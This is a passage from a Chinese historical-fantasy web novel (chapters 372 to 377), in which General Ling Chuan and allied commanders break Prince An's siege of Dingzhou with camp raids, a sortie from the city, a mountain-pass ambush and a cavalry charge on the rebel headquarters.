“小爷我可是要长命百岁的!等着我好消息就是了!”说完,他转身大步离去,身影很快消失在岊湬阁。 紧接着,凌川又给沈珏和聂星寒分派了任务,详细交代了每一个细节。 尽管做出了多方面布局,可对凌川而言,想要解定州之围依旧是困难重重。最主要的问题就是兵力有限和地形不熟,再加上对城内情况一无所知,这无疑让此次行动难度陡增。 凌川别无他法,只能冒险一试,因为许知白的一万大军被困在城内,可能现在已经断粮。 每拖一天,他们的战力就会下降一大截,城中百姓的处境也会更加艰难。 安排完所有事宜后,凌川再次俯身于地图前,指尖沿着定州城外的一道道防线与山川走势缓缓移动,眉头时而紧锁,时而微展,沉浸在破局的思虑中。 小和尚始终安静地站在一旁,不言不语,仿佛一尊小小的护法金刚。 凌川偶然抬头,看见他仍站在原地,不由温和一笑:“小师傅,这里暂时没事了,你先去歇着吧!” 小和尚却坚决地摇了摇头,稚嫩的脸上满是认真:“七岁让小僧护着将军,小僧不能离开!” 他那份带着憨气的童真让凌川不由笑出声:“放心,这儿很安全!” 静了片刻,凌川有些好奇地问:“小师傅,你的法号是?” “小僧法号一禅!”小和尚单手立掌,一本正经地回答。 凌川微微一愣,笑着打趣:“那为何七岁总唤你二驴?” 一禅小和尚面色不变,坦然答道:“因他总叫小僧的师父秃驴,说小僧是师傅的徒弟,所以他就叫小僧二驴!” 凌川:“……” 他被小和尚这实诚得过了头的回答噎得一时语塞,竟不知该如何接话,只得干笑两声,重新将注意力放回地图上。 当天深夜,万籁俱寂,洛青云、苍蝇、沈珏与聂星寒四人各率一支百人亲兵小队,如四把淬毒的匕首,悄无声息地刺向安王控制的四座县兵大营。 行动迅捷如电,目标明确至极——斩杀安王安插在各营的校尉及其心腹,一举夺回兵权。 临行前,凌川面沉如水,再三叮嘱:“一炷香为限,成与不成,必须撤离,绝不可恋战!” 夜色成了最好的掩护,周密计划下,四支精锐小队皆告功成,一夜之间,四座大营悄然易主。 这批县兵虽战力寻常,但骤然增添的四千之众,极大缓解了凌川兵力捉襟见肘的窘境。 当夜,凌川等人也悄然离开了岊湬阁,他先是将苏璃等人转移至一处更为隐蔽安全的所在。 明日大战将起,他能留在苏璃身边的护卫有限,庄园又无险可守,唯有隐匿行踪方能确保无虞。 有翠花和杨铁匠在旁,只要不遭遇大军,安全应当无虑。 同样,凌川本人亦率领那四百多精骑,借着浓重夜色,人马如同融入墨汁,消失得无影无踪。 次日黎明,晨光熹微,薄雾氤氲。 苍蝇、沈珏、洛青云与聂星寒四人,已各自统领一支千余人的县兵队伍,如四股初成的溪流,从不同方向朝着定州城汇聚而去。 昨夜夺营后,四人已迅速肃清军中安王余孽,并对士卒们晓以利害,追随安王造反,乃诛九族之重罪,然若能迷途知返,听从号令助朝廷平叛,非但前罪可免,立下战功者更可获赏赐。 一番恩威并施的话语,如重锤敲在许多只是听令行事的普通县兵心头,让他们在惶恐中看到了一线将功折罪、甚至博取前程的生机。 至此,凌川麾下,除了原有的九百精锐战力,再加上整合后的四千县兵,总算积聚起一股可观的力量,有了从叛军身上撕下一块肉的资本。 四路大军,撕开清晨的薄雾,义无反顾地直奔那座被重重围困的孤城定州。 此前分派亲兵执行夺营任务,正是因他们更精于潜入、袭杀与近战搏击。而那四百精骑乃战场冲阵之利器,分散使用反损其锋锐,故由凌川亲自掌握,留待关键之用。 辰时刚到,凌川已率领四百精骑悄然抵达定州城北二十里外的一片密林之中,人马衔枚,蹄裹厚布,隐匿无声。 不多时,一道身影如轻烟般掠入林间,正是风尘仆仆返回的沈七岁。他快步至凌川马前,抱拳低语:“将军,幸不辱命!” “城中情况如何?”凌川目光沉静。 “很不乐观!”沈七岁面色凝重,声音压抑,“从昨日起,城中便已断粮。得知城外有援兵后,许多百姓将自家藏着的最后一点续命粮都掏了出来,凑给守城将士们吃了一顿早饭!” 凌川闻言,默然片刻,缓缓点头:“辛苦了!” 百姓此举,心意悲壮,他们深知此战关乎全城存亡,胜则生,败则亡,留粮亦无意义。 他令队伍于林间继续潜伏休整,此刻,他需要的是耐心,等待那四路兵马按计划发起进攻,搅动战局。 定州北门外,安王军营大帐。 帐内,年过五旬的安王正与一名青衣书生模样的男子议事,他与当今陛下虽非一母所生,却同为先帝血脉。 只因自己的母妃是嫔妃,而对方的母亲是皇后,他生来便似乎矮了一头,从小要看他的脸色,各种谄媚讨好,只为了能够活下来,最让他难以接受的是,自己从小定下的未婚妻,竟然成了他的妃子。 这让自己如何能甘心?多年隐忍,暗中经营,招兵买马,直至今日终于踏出这决绝一步。 就在这时,一名腰间佩刀的将领未经通传便急匆匆闯入帐内,神色惊慌地禀报:“王爷,大事不好!” “讲!”安王转过焦躁的目光,冷冷吐出一字。 “凌川昨夜突袭了咱们四座县兵营,杀了我们的人,现已夺了兵权,正带着四营人马朝定州扑来!”将领语气急促,面带惶然。 “废物!”安王勃然大怒,一掌拍在案上,“凌川才多少人?连丢四营!他范旗山手底下都是一群猪吗?” 第一卷 第373章 破局开始 “王爷息怒!” 就在这时,安王身旁那一直沉默的白面书生却从容不迫地开口。 此人年约三十,面容白净,看似文弱,但偶尔抬起的眼眸中却闪烁着毒蛇般的阴冷光泽。 “哎,先生你也看到了!”安王气急败坏,“本王养了他们这么多年,耗费钱粮无数,到了关键时刻,竟如此不堪大用!” 那书生轻摇手中折扇,一副智珠在握的模样,淡然笑道:“王爷,暂息雷霆之怒。依属下看,这几营兵马骤失主将,仓促间被凌川整合,不过是乌合之众,军心未附,战力有限。我军沿途防线稳固,坚如磐石,他们恐怕连定州城的城墙都看不到!” “话虽如此,终究是平添变数!”安王焦躁地踱步,“这边的情况瞒不了多久,一旦幽州、晋川、泾南等地的朝廷援军反应过来,我等必将腹背受敌!必须速速拿下定州城,方能获得喘息之机啊!” 书生闻言,嘴角勾起一丝莫测的笑意,合上折扇:“王爷莫急!按时日推算,昨日定州城内便已粮尽,最迟日落之前,王爷必能入主定州城!” 良久之后,安王的怒火终于平复了一些,问道:“其它几处可有消息传来?” 那书生略微躬身,说道:“暂时还没有,不过既然是事先约定的共同起事,想必不会出岔子,等王爷入主定州,他们的消息也差不多到了!” “对了,你喊来的那个杀猪匠呢?去了这么久,也没见他杀了凌川!”安王脸上闪过一丝不悦。 杀凌川并非是他的本意,而是与朝中某些人做了一笔交易,相比起得到神都和朝中那些人的支持,一个小小的凌川不足挂齿。 事实上,他从一开始便没将凌川放在眼里,毕竟,这是在定州,而不是北疆,他凌川区区一千人,断然翻不起什么风浪。 “屠夫已经回来了,没说原因,但他们这些江湖中人最重名声,既然答应了,就一定会办到,除非自己死了!”书生平静回答道。 “本王觉得,这些江湖中人最是狡诈,未必靠得住,先生还是另做打算吧!”安王的语气中明显带着几分责备。 “王爷放心,如今定州被围得水泄不通,凌川就算是长了翅膀也飞不过去,等咱们拿下了定州,再收拾一个小小的凌川,还不是手到擒来吗?” 安王点了点头,没再说话。 巳时刚过,那四支县兵队伍从不同方位扑向叛军防线,尽管他们的战斗力并不强,兵甲也十分老旧,可士气却空前高涨,宛如敢死队一般,直接扑向安王的防线。 虽然定州城周围布置防线的军镇都已经提前接到消息,也做出了有效防御,但定州本就地势平坦,加之对方一副悍不畏死的姿态,让这几座军镇皆是始料未及。 苍蝇、洛青云等人自然不会让亲兵去打头阵,但是,在晓以利害之后,这些县兵变得异常卖力,毕竟,他们本身就不想当叛军,是自己的校尉被安王的人干掉之后,迫于形势。 凌川精准拿捏了人性的特点,让苍蝇等人一开始直接将他们定义为叛军,然后再告诉这些县兵,只要悬崖勒马,跟着他们平叛,不仅能将功抵罪,若是战功足够还能获得奖赏,这对于他们来说,不仅是定心丸,更是强心剂。 以至于,这些县兵异常卖命,毕竟,谋反的罪名太大,可不仅仅是自己掉脑袋,还要牵连家人、甚至是家族。 每支队伍中的亲兵并没有冲在最前面,但也没有躲在后面,而是寻找对方的将领,然后果断出手,力求一击必杀。 很快,四座县兵营被拿下,其校尉及亲信全部被斩杀。 紧接着,苍蝇、沈珏、聂星寒与洛青云如法炮制,告诉那些县兵,如果现在迷途知返,还能将功补罪,霎时间不少人的内心便动摇了起来。 苍蝇等将领立马指着这些跟随他们前来平叛的县兵,说道:“他们现在已经抵消了自身的罪过,若是再立新功,便可得到嘉奖!” 此言一出,最初跟随他们前来的县兵无不是欢呼雀跃,而刚才被攻下的县兵,内心动摇得更加厉害,很快就有人表示,愿意跟随他们一起平叛。 事实上,对于这些县兵来说,也没有其它的选择,因为,一旦拒绝,便会成为刀下亡魂。 聂星寒不善言辞,所以,便将此事交给了手下的余乐,而他则是手持铁胎弓,冷冷地站在那里便给人一股莫大的威慑。 就在刚才,就是这个冷漠男子,只用了三支铁箭,便射杀了伍校尉以及他的四名亲信,现在想起这一幕,不少人依旧后心直冒冷汗。 午时,四支队伍各自拿下三座县兵营,每攻下一座县兵营,他们的队伍便会壮大许多,从一开始的一千余人已经增长到了两千多人,直接翻了一倍。 原本的这三座县兵营的兵力肯定不止这些,只是在战斗中双方损耗都不小,加之一些人见势不对果断选择了逃离。 此消彼长之下,安王叛军的数量也从两万余兵力削减到了一万四千余人。 当然,洛青云等人心里很清楚,眼下虽然兵力增长了,但这些县兵本身的战力就极其有限,与安王暗中培养的嫡系队伍根本没法比。 加之是临时拉拢起来的队伍,无论是纪律还是协作能力都非常差,这种状态与安王的队伍对碰,其胜率不超过两成。 也正是因为如此,当他们接连攻克三座县兵营之后,便立马停止了往前推进,因为,前面就是安王的嫡系,而且,凌川给他们的命令是,抵达既定地点之后,便修建工事,等待后续命令。 安王的中军大帐之中,当一则则军情传来,让他的怒火瞬间焚烧起来。 “一群废物!让范旗山滚来见本王!”安王抓起案上一只精巧的瓷壶,狠狠砸向跪地禀报的传令兵。 那兵卒不敢闪避,硬生生用头盔接住,瓷壶应声碎裂,滚烫的茶水混着茶叶淋了他一头一脸,烫得他惨叫不止。 “王爷息怒!”那名手持折扇的书生见状,连忙走上来。 “先生!眼下局势愈发不利,必须尽快拿下定州城!”安王焦躁万分,在帐内来回踱步,方寸已乱。 第一卷 第374章 破釜沉舟 书生眼底迅速掠过一丝难以察觉的鄙夷,面上却依旧恭敬:“王爷无需过虑。外围那些县兵,本就是充作炮灰的乌合之众。凌川即便收拢了八千人,也不过是一盘散沙。王爷只需遣一支嫡系精锐,便可将其一击即溃!” 他顿了顿,不着痕迹地扫了安王一眼,继续道:“卑职已传令各部,加紧准备攻城器械,申时发动总攻。天黑之前,必让王爷在定州城头竖起大纛!” “好!好!”闻听此言,安王脸上终于露出一丝笑意,仿佛已看到胜利在望。 “待本王坐稳定州,便可北图幽州,南吞泾南,东取晋川,西叩并州……不出一年,本王便可与神都那位分庭抗礼!”他越说越激动,目光投向南方,眼中充满了贪婪与积年的怨恨,咬牙切齿道,“这江山,你坐了近三十载,也该换本王来坐坐了……” “那属下便在此预祝王爷马到成功,早日克承大统!”书生躬身行礼,掩去了嘴角那抹冰冷的嘲讽与眼中一闪而逝的毒辣。 “先生不必多礼!”安王连忙亲手扶起他,“待朕登临大宝,你便是首功之臣,朕许你一人之下、万人之上!” “谢王爷……不,是谢陛下隆恩!”书生再次深深一揖,语气无比恭顺。 “报——!” 就在这时,又一名传令兵疾奔入帐,声音带着惊慌:“启禀王爷!定州城门大开,许知白亲率城中守军杀出来了!” “什么?”安王脸上的笑容瞬间僵住,刚刚燃起的雄心壮志如同被冰水浇透,整个人再次陷入慌乱之中,方才的意气风发荡然无存。 书生则是猛然收拢折扇,面带狂喜说道:“许知白果真是熬不住,准备放手一搏了,他主动出城最好,省得咱们去攻城!” 安王的眼神中也闪过激动之色,喊道:“火速传令范旗山,许知白不过是拼死反击不足为惧,给我冲上去干掉他们!” “是!”那名传令兵领命而去。 此时定州城北门大开,喊杀声如滔天浪潮。 许知白亲率城中八千大军杀出,只留了两千余残兵在城内,出城之前许知白便给他们下令,等自己出城,立马封死城门。 此举可谓是孤注一掷,甚至都没有给自己留退路,因为他很清楚,此战若败,自己与这一万定州军葬身城外,定州城也断然保不住。 自昨夜接到凌川的密信之后,他便下定决心,拼死一战。 不过,他事先并未声张,就算是自己最信任的人,也没有透露消息,因为他可以肯定,城内肯定还有安王的耳目,至于是在自己身边,还是在百姓之中,他已经没时间去查了。 直到半个时辰前,他才迅速集结军队,下令出城诛杀叛贼,除了给自己最信任的那几名将领单独派发的任务之外,并没有说一句多话。 “杀……” 许知白一马当先,手中半月戟枪直指前方,一千手持陌刀的重骑紧跟身后,一个个杀意凛冽,三千轻骑分支两翼。 四千长枪步卒紧跟重甲之后,步卒的速度自然是跟不上骑兵,他们的作用是在骑兵冲乱敌军阵型之后,步兵列阵压上去,与敌人短兵厮杀。 所有定州军都明白,这是破釜沉舟的一战,此战不仅关乎定州城的存亡,更关乎城中十多万百姓的生死,同样也关乎定州军的荣誉。 此战若胜,他们是平定叛乱,拯救黎民的英雄之师,此战若败,他们会成为定州的罪人,帝国的罪人,定州军的大旗更是将被撕碎踩烂,埋在这城外的黄土之中。 与此同时,城外的叛军高举‘安’字大旗,也开始冲锋。 领头的将领身形魁梧,浓眉大眼,手持一根狼牙棒闪烁着慑人寒芒,他正是安王麾下的主将,范旗山。 “兄弟们,荣华富贵就在眼前,功名利禄就在前方,只要杀光那些定州军,你们的所有愿望,都将得以实现!”范旗山手中狼牙棒直指前方,大声喊道。 “杀,杀,杀……” 叛军队伍中,立马就有人开始附和,大声喊杀,紧接着,越来越多的人跟着大喊。 “许知白的定州军已经几天没吃饭了,一个个饿得两眼发昏,连刀都拿不起来,你们只需要冲上去,砍下他们的脑袋,便可换取军功!” “杀,杀,杀……” 城外叛军本就无险可守,对方主动出城,于他们而言,无疑是最好的局面,立马结阵迎了上去。 就在同一时间,北面密林之中出现一支轻骑,虽然只有不足五百人,但一个个神色冷峻,眼神坚毅,紧握着手中长枪,策马狂奔。 这正是凌川率领的四百精骑。 他们的目标很明确,正是安王的中军大营。 此时,他们从后方杀至,距离安王的大营不足十里,不消片刻便可杀至,不过,凌川也清楚,尽管前方大军已经被牵制,但安王身边肯定是戒备森严,设立了层层防护。 就算是夜间,想要悄无声息潜进去也几乎是不可能的事情,更何况是这大白天。 所以,凌川的战术一开始就很明确,那就是硬闯,直捣黄龙,斩下安王首级。 这是最简单粗暴,但也是最有效的捷径。 就在许知白率军出城的同一时间,洛青云、苍蝇、沈珏以及聂星寒等人率领的四支县兵经过短暂的休整和列阵之后,再一次发起了攻击。 凌川给他们的任务是,牵制住他们所在区域的叛军,不让他们回援城北方向的主战场。 但,仅仅是这样还不够,因为,安王在东南的青陂口还埋伏了一支三千人的精骑,东南方向,是之前围城的时候,故意留下的口子。 按照他们的设想,许知白若是要突围,定然会选择东南方向,因为,那不仅是他们围困最薄弱的地方,地形上也是最有利的方位。 只要许知白率军出城,这三千精骑将立马切断其后路,与此同时,其他几路大军将迅速将其包抄围困。 奈何,许知白最终并没有弃城突围,这三千精骑也就没有了用武之地。 第一卷 第375章 堰雪坳伏击! 随着许知白从正北门杀出城,与安王的叛军正面硬刚,这三千精骑也立马接到了命令,那就是火速杀回城北主战场,将许知白的大军阵型拦腰斩断。 许知白的阵型有一个致命缺陷,那就是骑兵和后面的步兵之间,定然会存在一定的空挡,他们只需在这个空挡杀入,以骑兵对步卒,那简直就是碾压式屠杀。 先不说现在许知白的队伍从昨天就开始挨饿,还有多少战斗力,就算是正常状态下,这一击也足以致命。 然而,他做梦也想不到,半个时辰前,一支骑兵已经抵达他不远处的堰雪镇,布下一张大网,就等着他一头钻进来。 不多时,那接到命令的三千精骑便火速行动,赶往城北主战场。 此去城北只有不足二十里,但需要经过一处险地,那是两座山之间的一处山坳,名为堰雪坳,长度不过三里,对于骑兵而言,顷刻间便能穿过。 然而,在路过堰雪坳的时候,南北两面的山坡之上传来隆隆声响,伴随着一阵地动山摇,只见大量巨石滚落而下,下方路过的三千骑被吓得亡魂皆冒,此时他们已经来不及想,此地怎么会有伏兵,只能加速往前冲,想着只要冲过去就是一路平坦。 然而,前方的道路同样被巨石堵死,战马根本越不过去,只能眼睁睁看着满破巨石翻滚而下。 霎时间,人仰马翻,士兵惨叫,战马长嘶响成一片,而且,面对两旁倾泻而下的巨石,盾牌根本起不到任何作用。 “快撤,撤回去!”领兵将领大声吼道。 然而,在这段狭窄山坳里,队伍调头异常困难,而且,战马受惊之后根本不受控制,整个队伍变得异常混乱,很多人没被石头砸死,而是在混乱中被挤得人仰马翻,然后被活活踩死。 许久之后,终于不再有巨石滚落下来,估计是石头用完了。 可他们还来不及松一口气,两侧山坡上便响起成片的破空声,大量箭雨泼洒而下,宛如夺命的音符。 当他们好不容易撤回去的时候,三千骑只剩下不到一千残兵,这些刚刚逃离虎口的叛军心神未定,前方便传来沉重的马蹄声,紧接着,便看到一支队伍猛然冲来,一个个手持长矛,杀气正盛。 前方是气势汹汹的强敌,后方更是死路一条,那叛军将领眼神中满是绝望,他实在想不通,此处为何会出现伏兵。 “阁下是何人?”他看着对面身着都尉甲的男子,沉声问道。 “我乃铁瓮关守将娄星野,奉镇北将军之命,前来平叛!” 那名将领大声回应道,声如战鼓,在他的脑海中炸响。 定州北门外,主战场上,两股钢铁洪流已经撞击到一起,声势之浩大,场面之恢弘,简直无法用言语来描述。 许知白一马当先,宛如一把尖刀刺入敌军阵型中,手中半月戟枪猛然刺出,将一名叛军直接挑飞出去,随即一记横扫,将前方三名叛军砸落马下。 这位坐镇定州主将,虽年近五十,可一身本领却从未荒废。 也正是因为他无论个人勇武还是练兵治军都颇为出色,而且,行事稳重、深谋远虑,要不然,朝廷又怎么可能将如此重要的定州交给他? 与此同时,他身后的一千重骑宛如一道铁墙铜壁,直接朝着敌军碾压上去。 一交手,叛军便直接傻眼了,因为他们发现,定州军并非如之前所说的那般早已饿得提不起兵器,更不是他们冲上来便可轻易割掉头颅换取军功的废物。 而是一群被逼得没有退路,抱着死战之心的虎狼。 “杀……” 许知白一声大喝,双眼死死盯着那杆‘安’字王旗,果断率军冲了上去。 然,安王这些年花重金打造的嫡系精锐也绝非乌合之众,虽然许知白亲率重骑凿阵,给他们造成了不小的损失,但他们的阵型也没有因此直接被撕开。 “给我顶住!”范旗山大声喝道。 而就在此时,许知白安排在重骑两翼的轻骑军也绕至叛军两侧,他们的目的主要是利用轻骑的灵动性袭扰,以此打乱叛军阵型。 而许知白自己率领的一千重骑已经深入敌军阵型中,这一路冲杀,可谓是尸横遍野、鲜血满地,惨烈到了极点,那一把把陌刀宛如死神的獠牙,不断收割着叛军的生命。 尽管叛军竭尽全力想要稳住阵型,可架不住重骑的凶悍和陌刀的锋利,终究还是被凿开了一道口子。 眼看,这一千重骑就要陷入叛军阵营之中。 对于重甲兵而言,最重要的一点便是一鼓作气将敌阵凿开,然后势如破竹一路碾压,将其阵型彻底撕裂。 若是中途泄劲,陷入敌阵中,将会被敌军一点点蚕食,战马一旦不能保持冲锋状态,那一身重甲将会成为他们最大的负担,最终等待他们的将会的全军覆没。 就在两侧迂回的叛军即将从后方围住重甲军的时候,手持长矛的定州步卒终于赶到,他们凭借双腿奔袭而来,阵型虽有些松散,但整体却并没有混乱。 “杀……” 伴随着一声声嘶吼,定州步卒在那道口子即将被围拢的瞬间,再次扑了上去。 战斗直接进入了白热化,长矛刺破铠甲,穿透身体的声音接连传来,愤怒的嘶吼声与喊杀声在这片战场上此起彼伏。 尽管不断有定州步卒倒下,可后面的士兵立马上前补位,很多时候,他们不得不踩着同袍的尸体往前推进。 对于定州军来说,这是一场没有退路的战斗,今早,城中老百姓将所有的续命粮都拿了出来,给他们做了一顿早饭,送他们出城杀敌。 此战,就算不为别的,也要对得起那顿饭。 定州军的悍不畏死彻底震住了叛军,不少人心中已经生出恐惧,可身在战场,根本没有退路,想要活命就只有杀光敌人。 “不许退,给我稳住!”范旗山大声吼道。 忽然,他注意到了朝着自己这边杀来的许知白,虎目之中闪过一丝凶悍之色,“亲兵营,随我压上去!” 范旗山见己方队伍根本挡不住许知白的重甲军,他果断带着亲兵营压了上去,试图将其挡住。 第一卷 第376章 悍将许知白 “许知白,休要猖狂,我来会你!” 范旗山怒喝一声,策马直冲许知白而去,手中沉重的狼牙棒带着呼啸的风声,朝着对方当头砸下。 许知白目光冷冽,不闪不避,抬起半月戟枪迎了上去,戟刃精准地架住狼牙棒的致命一击。 “当!” 金石交鸣之声震耳欲聋,两件重兵器在空中猛烈碰撞,迸射出一连串刺目的火花,巨大的反震力让两人身形同时一晃,战马交错而过。 范旗山脸色微变,他没想到年近五十的许知白膂力仍如此惊人,竟能硬接自己这全力一击,当下收起轻视之心,回马再战,狼牙棒顺势横扫,直取对方腰腹。 许知白反应极快,身体猛地后仰,几乎平贴在马背上,险险避过这凌厉的一扫,与此同时,他手中戟枪如蛰伏的怒龙骤然出击,闪电般刺向范旗山胸腹空门。 范旗山大惊,没料到对方对战机的把握如此精准,此时他招式用老,已然来不及回防,只得冒险探手,一把死死扣住戟枪的枪库,同时借力侧身,勉强避开了枪尖。 “哼!” 许知白冷哼一声,手腕猛地一拧,戟枪瞬间快速旋转,范旗山只觉得掌心一阵钻心剧痛,竟被硬生生绞落一大块皮肉,顿时鲜血淋漓。 两人再次拉开距离,范旗山迅速扯下颈间绸巾,胡乱将血肉模糊的手掌缠紧,眼中怒火熊熊燃烧,恨不得将许知白生吞活剥。 “小辈,老夫马踏沙场的时候,你还不知道在哪儿玩泥巴!竟敢在我面前龇牙,今日必斩你!”许知白须发皆张,声如洪钟。 “老东西!真当我怕你不成?”范旗山强忍剧痛,厉声反驳,“睁大眼睛看看局势!这定州城,我家王爷要定了!” “痴心妄想!想进定州,除非从老夫的尸体上踏过去!”许知白满脸决然,怒目圆瞪,毫无退缩之意。 话音未落,两人如同针尖对麦芒,再次催动战马,杀向对方。 此时的定州城北,已彻底化为一片混乱的修罗场,双方两万多兵马绞杀在一起,如同两股汹涌的铁潮猛烈对冲,杀气弥漫,血肉横飞。 城墙之上,留守的士兵死死抓着墙垛,指节因用力而发白,远远观望的百姓无不紧攥衣角,心惊胆战,城外那血肉磨盘般的景象,令人不敢直视。 漫天烟尘之中,那面定州军大旗依旧在罡风中猎猎作响,与叛军的‘安’字王旗遥遥相对,互不相让。震天的喊杀声、兵刃撞击声、垂死哀嚎声交织成一片,如同永不停歇的死亡乐章。 此时,许知白已亲率一千重骑深深凿入叛军阵型中央,他浑身浴血,铠甲多处破碎,好几处伤口仍在汩汩渗血。 身后的重骑兵也折损近半,但幸存者依旧紧紧跟随主将,奋力向前冲杀,许知白深知此战惨烈,他甚至不敢回头多看一眼那尸横遍野的景象,即便是他这等见惯生死的老将,心弦亦为之震颤。 与此同时,两翼的三千轻骑与后方赶至的四千定州步卒,也已同叛军彻底纠缠在一起,战况异常惨烈,每前进一步都需付出巨大代价。 安王大营北面,凌川率领的四百余精骑终于杀到。 果然如他所料,在距离大营约两里处,他们便被叛军哨探发现。 “来者何人?止步!”一名叛军厉声喝道。 回应他的,是一支破空而来的利箭,只见队伍中的黄淙在疾驰的马背上张弓搭箭,动作一气呵成,箭矢如流星般掠过,精准地贯穿了那名叛军的咽喉! 黄淙原是云州各营中选拔出的箭术好手,后被编入由聂星寒亲自指导的百人射术小队。 凌川早有远见,深知培养精锐射手的重要性,虽不可能再造一个聂星寒那样的神射手,但经此严格训练,这批人亦能成为军中栋梁,关键时刻发挥奇效。 黄淙方才这一箭,已足见其训练成果。 行踪既已暴露,凌川更无犹豫,直接下令全速冲锋! 面对沿途叛军的层层堵截,只见凌川的坐骑黑风发出一声嘹亮嘶鸣,竟猛然加速,凌空跃起,直接从一排拦路的叛军头顶飞跃而过,将那些叛军惊得魂飞魄散。 “嗤嗤嗤……” 紧随其后的骑兵长枪如林,仅一个照面便将那排叛军刺翻在地,整个过程干净利落,队伍冲锋的速度甚至未曾稍减。 他们就这般势如破竹,一路向前冲杀,虽不断有叛军试图阻拦,却皆被这支精锐骑兵以雷霆之势瞬间击溃。 不多时,那座明显高于周遭营帐的中军大帐已映入眼帘,甚至能隐约听到,从主战场方向传来的喊杀声如潮水般阵阵涌来。 然而,一座由巨木搭建的坚固辕门横亘在前,门前更摆放着三层狰狞的拒马桩,彻底挡住了去路。 辕门之上,众多叛军弓箭手已张弓搭箭,冰冷的箭镞锁定了他们这个方向。 “箭!” 黄淙冷喝一声,前排骑兵闻令而动,纷纷举起破甲弓,只听一片弓弦震响,箭矢如飞蝗般射出,辕门上的叛军弓箭手顿时被射倒一片。 几乎在同一时间,凌川身旁的沈七岁一掌拍在身后剑匣之上。匣中六把颜色各异的长剑应声激射而出,于空中迅速汇聚成一个寒光四射的圆形剑阵,剑尖齐指辕门。 “给我破!” 随着他一声冷喝,剑阵急速旋转,化作一道彩色流光,悍然撞向辕门! 那些以硬木制成的拒马桩,在锋锐无匹的剑阵面前宛如枯草,瞬间被绞得粉碎。紧接着又是一声巨响,厚重的辕门被硬生生绞出一个大窟窿,木屑漫天飞扬。 然而,这窟窿仅容一骑通过,对于整支骑兵队伍而言远远不够。 就在此时,位于凌川另一侧的小和尚一禅出手了,他双手合十,道道刺目的金光自掌间弥漫而出,随着一声清吒,他隔空一掌推出。 众人只见一只磨盘大小的金色掌印凭空显现,带着沛然莫御的力量,轰然撞向已是摇摇欲坠的辕门! “轰!” 金光炸裂,残存的辕门连同框架彻底崩碎,化为满地碎木。 “冲过去!” 凌川大喝一声,一马当先,提枪冲在最前。 此刻,他们必须一鼓作气杀入中军大营,任何片刻的迟疑,都可能让这四百余骑陷入重围,被蜂拥而至的叛军吞噬得尸骨无存。 这边的巨大动静显然已惊动了安王最核心的亲兵卫队。 辕门之内,数百手持利刃、身披精甲的精锐亲兵迅速集结,列出严密的防御阵型,如同铜墙铁壁般,朝着凌川他们压了过来。 这是叛军大营的最后一道,也是最坚固的一道防线。 第一卷 第377章 突袭叛军大营 大营之中,安王面色焦虑,如同热锅上的蚂蚁,在帐内来回踱步。 “先生,你不是信誓旦旦地说,许知白的定州军早已饿得无力举刀了吗?为何这么久过去了,战斗还未见分晓?”安王终于忍不住,停下脚步,声音带着明显的焦躁。 那年轻书生眼底闪过一丝不易察觉的不耐,但面上依旧维持着恭敬,从容答道:“王爷,这许知白手下怎么说也有一万大军,就算是杀一万头猪,也是需要时间的嘛,放心,这一战不会有意外!” 尽管书生说得笃定,安王心中仍是七上八下,帐外传来的喊杀声震天动地,绝非一面倒的屠杀所能有的声势,那分明是双方正在激烈鏖战。 这让他愈发心急如焚,战事拖得越久,他的损失就越大,若是以惨胜为代价拿下定州,他耗尽家底打造的这一万多精锐还能剩下多少?届时又拿什么去图谋更大的疆土? 就在这时,帐外接连传来几声轰然巨响,夹杂着沉重密集的马蹄声,地面都似乎在微微震颤。安王心头一紧,慌忙朝外喊道:“外面发生了何事?” 一名亲兵连滚爬爬地冲进大帐,脸上写满了惊恐:“禀王爷!不、不好了!凌川……凌川带着一支骑兵从后方杀来了,现在已经冲破外围防线,快到中军大帐了!” “什么?!”安王闻言,脸色瞬间惨白,一股冰冷的恐惧直冲头顶。 “跑!快护送本王离开这里!”求生的本能让他脱口而出。 一旁的年轻书生见状,暗自摇头,眼中掠过一丝鄙夷:‘这种废物,就算把皇位摆到他面前,他也坐不上去!’ “来人!快护送本王撤离!”安王对着帐外惊慌大喊。 几名精锐亲兵应声而入,书生却伸手拦在安王面前,沉声问那报信亲兵:“凌川带了多少人马?” “大、大约四五百骑!”亲兵的声音仍在颤抖。 书生闻言,心下稍定,转向安王:“王爷不必惊慌!我军大营防守严密,凌川区区四五百人,无异于以卵击石,根本闯不进来!” 安王却仍是心惊胆战:“可……可素闻那凌川骁勇异常,其麾下皆是北疆百战余生的悍卒,万一……” “王爷!”书生陡然提高声调,打断了他的话,“此刻留在帐内,有重兵层层护卫,才是最安全的!若贸然出帐,目标暴露,反而给了对方可乘之机!” 这一声断喝,让慌乱的安王稍微定了定神,但眼中的恐惧丝毫未减,身体仍控制不住地微微发抖。 “先、先生……那眼下,眼下该如何是好啊?”安王已是六神无主,声音发颤。 书生紧紧握住安王的手臂,语气斩钉截铁:“王爷宽心!凌川想凭几百精兵行斩首之举,简直是痴人说梦!大帐周围除了一营精锐亲兵,尚有千余兵马拱卫,吃掉他这支小队易如反掌!” “可是……” “王爷!没有可是!”书生再次打断他,“此刻正是战局关键,若您率先撤退,军心必然动摇,前线将士顷刻溃败!请王爷务必稳住!” 见安王仍是一副失魂落魄的模样,书生放缓语气,安慰道:“王爷,请您相信我们的布置,天时地利皆在我手,今日定州必破!” 他转而问那亲兵:“青陂口那三千精兵到了没有?” “回先生,至今尚未见到汤将军所部踪影!”亲兵回答道。 “混账东西!战前再三交代,竟敢贻误战机!”年轻书生怒斥道,心中隐隐升起一丝不安。 他无论如何也想不到,汤岩及其三千精骑,早已在堰雪坳全军覆没,尸骸几乎将那条狭长的山坳填平。 娄星野依照凌川的将令设下埋伏,几乎未损一兵一卒,便让那三千骑兵折损大半,剩余残兵也被堵在坳口,被杀得片甲不留。 此刻,娄星野正率领三千骑火速奔赴城北,只不过,他的目标并非是主战场,而是安王的大营。 紧随其侧的孟钊满脸忧色,他深知凌将军仅率四百余骑直闯龙潭虎穴是何等凶险,晚上一刻,都可能酿成无法挽回的后果。 “全军加速!直取叛军大营,擒拿叛贼!”娄星野大声喝令,心中同样焦急万分。 叛军中军大帐之外,七八百名精锐亲兵已结成严密阵型,一面面厚重盾牌层层叠叠,筑起一道冰冷的铁壁,与凌川的队伍紧张对峙。 凌川目光如刀,没有丝毫犹豫,手中长枪向前一指,冷声喝道:“杀!” 四百精骑闻令而动,如同一体,齐举长枪,化作一股钢铁洪流,向着盾墙发起了决死冲锋。 沈七岁一马当先,剑指一并,身后剑匣中六把长剑应声激射而出,化作六道颜色各异的凌厉剑光,携撕裂空气的尖啸,狠狠撞向盾墙! “砰!砰!砰!……” 